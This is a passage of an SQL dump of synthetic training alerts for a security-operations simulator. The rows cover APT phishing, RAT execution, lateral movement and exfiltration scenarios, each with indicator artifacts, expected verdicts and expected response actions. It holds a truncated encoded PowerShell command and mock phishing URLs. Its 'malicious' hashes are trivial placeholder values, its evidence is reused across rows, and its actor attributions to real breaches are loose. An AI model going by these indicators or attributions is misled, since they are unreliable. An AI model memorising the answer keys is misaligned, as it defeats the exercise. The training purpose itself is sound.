Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT1 operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with PlugX RAT executable.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"plugx.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable file related to PlugX RAT.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(791, 'Exfiltration of Sensitive Personnel Data', 'critical', 'Network traffic analysis', 'With the PlugX RAT in place, APT1 moved laterally to access and exfiltrate sensitive personnel data, including fingerprint records and SF-86 forms, posing a significant threat to national security.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"src_ip\":\"10.0.2.15\",\"dest_ip\":\"203.0.113.45\",\"src_port\":\"443\",\"dest_port\":\"8080\",\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"SF86_form_data.zip\",\"hash\":\"3b1c3497d4f5e7d2a2e8f8b6a9d1c5b2\",\"action\":\"exfiltrate\",\"status\":\"success\"}', '2026-01-11 23:44:22', '2026-02-16 18:00:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT1 Command & Control server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b1c3497d4f5e7d2a2e8f8b6a9d1c5b2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"PlugX RAT payload used in data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"SF86_form_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal File Monitoring\",\"verdict\":\"internal\",\"details\":\"Sensitive personnel data file targeted for exfiltration\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(792, 'Initial Access: Spear Phishing Campaign', 'medium', 'Email Gateway Logs', 'APT1 initiated their attack with a series of spear-phishing emails aimed at Starwood employees to harvest credentials and establish a foothold in the network.', 'Spear Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T09:15:32Z\",\"email_id\":\"c28f1e5d-f45e-4b6a-9a1f-ec4b1a9b7c1d\",\"sender_email\":\"john.doe@maliciousdomain.com\",\"recipient_email\":\"jane.smith@starwood.com\",\"subject\":\"Urgent: Verify Your Account Information\",\"attachment\":{\"filename\":\"Invoice_2023.pdf\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known to host phishing infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Low detection rate but flagged by multiple engines.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Campaign\",\"date\":\"2026-02-01T20:32:22.440Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(793, 'Execution: Deployment of Remote Access Trojan', 'high', 'Endpoint Detection and Response (EDR) Systems', 'The attackers deployed a custom Remote Access Trojan (RAT) named \'RATDeploy.exe\' on the compromised system. This malware allows the attacker to execute commands remotely and maintain persistent access.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:45Z\",\"event_id\":\"evt-123456\",\"host_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"process_name\":\"RATDeploy.exe\",\"process_hash\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"user\":\"compromised_user\",\"action\":\"execute\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\Downloads\\\\RATDeploy.exe\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Remote Access Trojan.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"RATDeploy.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used for remote access and command execution.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account on the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(794, 'Persistence: RAT Maintains Control Post-Acquisition', 'high', 'Network Traffic Analysis', 'APT1 demonstrated advanced persistence techniques by adapting their RAT to remain active and undetected during the transition of network control to Marriott. Network traffic analysis detected unexpected outbound connections to a known malicious IP, indicating a potential RAT communication attempt.', 'Persistence Mechanism', 'T1543 - Create or Modify System Process', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"source_port\":54321,\"destination_port\":8080,\"username\":\"jdoe\",\"process_name\":\"svchost.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"update.dll\",\"event\":\"Outbound Connection\",\"action\":\"Allowed\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT1.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with APT1 RAT payload.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"update.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious DLL loaded by svchost.exe.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User associated with the affected machine during acquisition.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(795, 'Lateral Movement: Exploiting Network Trust', 'high', 'Internal Network Logs', 'An attacker utilized stolen credentials to move laterally within the network, exploiting trust relationships to access critical databases containing sensitive guest information.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:34:12Z\",\"source_ip\":\"192.168.1.45\",\"target_ip\":\"10.0.1.5\",\"action\":\"login\",\"username\":\"j.doe\",\"method\":\"RDP\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"db_access_tool.exe\",\"external_ip\":\"203.0.113.55\",\"event_id\":\"4624\",\"description\":\"Successful login using RDP with stolen credentials\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with a known suspicious tool\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"db_access_tool.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"File used to access databases\"}},{\"id\":\"artifact_6\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(796, 'Exfiltration: Encrypted Data Transfer', 'high', 'Data Loss Prevention (DLP) Systems', 'APT1 executed the final phase of their operation by encrypting and exfiltrating sensitive guest records, including passport numbers, through a masked data transfer to avoid detection. The transfer was facilitated over a compromised internal server using encrypted channels.', 'Data Exfiltration', 'T1048.001 - Exfiltration Over Alternative Protocol: Encrypted Channels', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:37:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.1.45\",\"destination_ip\":\"203.0.113.77\",\"protocol\":\"TLS\",\"filename\":\"guest_data_encrypted.zip\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"user\":\"jdoe\",\"event_id\":\"EXFIL-2023-5678\",\"action\":\"transfer\",\"status\":\"completed\"}', '2026-01-12 22:14:44', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for data transfer\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT1\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with APT1\'s data exfiltration tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"guest_data_encrypted.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file encrypted for exfiltration\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account possibly compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.444Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:37:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.77\\\",\\\"protocol\\\":\\\"TLS\\\",\\\"filename\\\":\\\"guest_data_encrypted.zip\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"user\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"EXFIL-2023-5678\\\",\\\"action\\\":\\\"transfer\\\",\\\"status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(797, 'Spear-Phishing Campaign Detected', 'high', 'Email security logs', 'APT28 initiated a spear-phishing campaign targeting DNC staff to gain initial access by harvesting their credentials. The malicious email contained a link leading to a credential harvesting site.', 'Initial Access', 'T1566.001 - Phishing: Spearphishing Link', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"email_id\":\"b1234567890abc\",\"sender\":\"noreply@dnc-support.com\",\"recipient\":\"johndoe@dnc.org\",\"subject\":\"Urgent: Security Update Required\",\"body_preview\":\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\",\"attachment\":\"none\",\"url\":\"http://dnc-security-update.com/login?\",\"sender_ip\":\"198.51.100.23\",\"recipient_ip\":\"192.168.1.45\",\"malicious_hash\":\"e99a18c428cb38d5f260853678922e03\",\"threat_actor\":\"APT28\"}', '2026-01-12 22:16:51', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@dnc-support.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known phishing campaigns by APT28.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://dnc-security-update.com/login?\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing site designed to harvest credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known APT28 infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hash Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"Associated with recent phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: http://dnc-security-update.com/login?\\\",\\\"attachment\\\":\\\"none\\\",\\\"url\\\":\\\"http://dnc-security-update.com/login?\\\",\\\"sender_ip\\\":\\\"198.51.100.23\\\",\\\"recipient_ip\\\":\\\"192.168.1.45\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"threat_actor\\\":\\\"APT28\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.445Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"email_id\\\":\\\"b1234567890abc\\\",\\\"sender\\\":\\\"noreply@dnc-support.com\\\",\\\"recipient\\\":\\\"johndoe@dnc.org\\\",\\\"subject\\\":\\\"Urgent: Security Update Required\\\",\\\"body_preview\\\":\\\"Dear John, Please update your credentials immediately by clicking the following link: 